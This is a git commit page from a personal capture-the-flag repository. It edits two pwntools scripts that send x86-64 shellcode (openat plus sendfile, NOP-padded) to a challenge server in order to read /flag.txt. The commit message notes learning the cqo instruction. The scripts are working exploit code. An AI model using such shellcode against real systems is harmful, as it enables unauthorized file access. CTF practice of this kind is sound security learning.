jc/ctfs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

learnt about the cqo instruction that sign-extends rax into rdx

Browse Source
This commit is contained in:
jc
2024-10-23 14:17:52 +00:00
parent 8ba0d691c2
commit 24121c97b3
2 changed files with 5 additions and 5 deletions
Download Patch File Download Diff File Expand all files Collapse all files
africabattlectf_2024/universe/a.py
+3 -3
View File
@@ -8,8 +8,8 @@ r = remote("challenge.bugpwn.com", 1004)
# openat + sendfile # openat + sendfile
shellcode=""" shellcode="""
lea rsi, [rdx+30] lea rsi, [rdx+29]
xor rdx, rdx cqo
xor r10, r10 xor r10, r10
add ax, 257 add ax, 257
syscall syscall
@@ -24,4 +24,4 @@ shellcode += b"/flag.txt\0"
shellcode += b"\x90"*(4096-len(shellcode)) shellcode += b"\x90"*(4096-len(shellcode))
r.sendline(shellcode) r.sendline(shellcode)
r.interactive() r.interactive()
africabattlectf_2024/universe/read_files.py
+2 -2
View File
@@ -14,7 +14,7 @@ add r9, 0x4500
mov r15, 0x2f mov r15, 0x2f
push r15 push r15
lea rsi, [rsp] lea rsi, [rsp]
xor rdx, rdx cqo
xor r10, r10 xor r10, r10
add ax, 257 add ax, 257
syscall syscall
@@ -31,4 +31,4 @@ shellcode = asm(shellcode)
shellcode += b"\x90"*(4096-len(shellcode)) shellcode += b"\x90"*(4096-len(shellcode))
r.sendline(shellcode) r.sendline(shellcode)
r.interactive() r.interactive()